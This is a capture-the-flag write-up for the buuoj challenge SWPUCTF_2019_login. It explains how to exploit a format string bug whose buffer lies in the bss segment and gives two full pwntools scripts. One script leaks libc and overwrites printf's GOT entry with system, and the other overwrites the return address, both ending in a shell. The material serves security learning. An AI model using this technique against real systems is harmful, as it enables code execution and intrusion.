Format string processing on bss [buuoj] SWPUCTF_2019_login

This problem is done in two ways: one is to modify the got table, and the other is to modify the return value to control the execution flow.

IDA analysis

There is an obvious format string vulnerability, but it is on the bss segment

To sum up, the processing method of 32-bit format string in bss segment is to find an ebp like stack register, as shown in the following figure

By modifying this ebp, you can modify the value of 0xffc78f38 in the above figure to the desired value (remember: the address of the pointer pointing to the region on the format string modification stack is 0xffc78f38). If you want to hijack the got table, look for the data starting from 80 below (related to the got table). After modification, it can become the following figure
(think about why it should be written like this: the general format string can write the address to the stack, but it is obviously impossible on bss. It can only be written to the stack indirectly with the help of the auxiliary tool ebp)
We first modify the ebp position to point to the data beginning with 80, and modify the last few bits to victim_ Get, find another one that starts with 80 and change it to victim_ Get + 2, then modify the above two at the same time. Here, first modify the end of def4 at the ebp position (the sixth bit) (because it starts with 80, only the following bits need to be modified), change the def8 pointer (the 10th bit), modify the data at the beginning of 80 of the def4 pointer to get, and then do the same operation.

Why modify two? One is got and the other is got+2. I'm worried that I can't write so much at one time. I write it twice. However, it should be noted that the two times must be at the same time, otherwise calling printf again will not find the function.
If you want to modify the return value, repeat the above operation four times to control the writing of system and / bin/sh\x00 string addresses respectively. This method can be used when the protection is fully open. (you can also disclose the PIE base address) the result is shown in the figure below

Modify GOT table exp

from LibcSearcher import *
from pwn import *

io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
# cause of using bss-string, we can't write to arbitary address


def fmtsend(addr,place):
    io.recvuntil('Try again!\n')
    payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
    print payload
    io.sendline(payload)

def debug():
    gdb.attach(io,"b *0x080485AF")
    io.sendline('aa')

io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])

heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()



# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')

io.interactive()

Modify return address exp

from LibcSearcher import *
from pwn import *

io=process('./SWPUCTF_2019_login')
# io=remote('node4.buuoj.cn',27728)
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'
# cause of using bss-string, we can't write to arbitary address


def fmtsend(addr,place):
    io.recvuntil('Try again!\n')
    payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
    print payload
    io.sendline(payload)

def debug():
    gdb.attach(io,"b *0x080485AF")
    io.sendline('aa')

io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])
binsh=libc_base+libc.search('/bin/sh\x00').next()

print "system" + hex(system)
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
binsh_for4=(binsh&0xffff0000)>>16
binsh_back4=binsh&0xffff

heap_base = target-0x28
ret_addr=heap_base+7*4
param_addr=heap_base+9*4
param_addr_4=param_addr&0xffff
ret_addr_4=ret_addr&0xffff

fmtsend(ret_addr_4,6)
fmtsend(system_back4,10)
fmtsend(ret_addr_4+2,6)
fmtsend(system_for4,10)

fmtsend(param_addr_4,6)
fmtsend(binsh_back4,10)
fmtsend(param_addr_4+2,6)
fmtsend(binsh_for4,10)
debug()

io.recvuntil('Try again!\n')
# gdb.attach(io,"b *0x080485DB")
io.sendline('wllmmllw')



io.interactive()



There is no remote call here, because I forgot to change libc at the beginning. I think it's too troublesome

Keywords: pwn

Added by Codewarrior123 on Sun, 26 Dec 2021 08:18:34 +0200